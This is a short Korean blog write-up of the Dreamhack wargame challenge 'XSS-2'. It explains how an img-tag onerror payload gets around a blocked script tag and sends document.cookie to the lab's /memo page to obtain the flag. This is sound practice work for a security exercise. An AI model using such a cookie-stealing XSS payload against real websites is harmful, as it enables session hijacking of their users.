728x90
[Dreamhack] Wargame - XSS-2
/vuln
xss-2에서는 alert이 작동하지 않는 것을 확인했다. 그래서 코드를 확인해봤다. /vuln부분만 달라진 것을 확인했다.
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
render_template("vuln.html")로 막혀있었다. 그래서 우회하는 방법을 알아봤다.
img태그는 성공적으로 되는 것을 확인할 수 있었고 script태그를 사용하지 않아도 onerror속성을 활용해서 script를 작성할 수 있는 코드를 알 수 있었다.
<img src="xss" onerror="location.href='/memo?memo='+document.cookie">
이 코드를 /flag에 작성하고 memo로 가보니
flag를 획득할 수 있었다.
728x90
'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글
[Dreamhack] simple_sqli (0) | 2023.01.09 |
---|---|
[Dreamhack] csrf-1 (0) | 2023.01.09 |
[Dreamhack] XSS-1 (0) | 2023.01.09 |
[Dreamhack] Same Origin Policy (SOP) (0) | 2022.12.20 |
[Dreamhack] session-basic (0) | 2022.12.20 |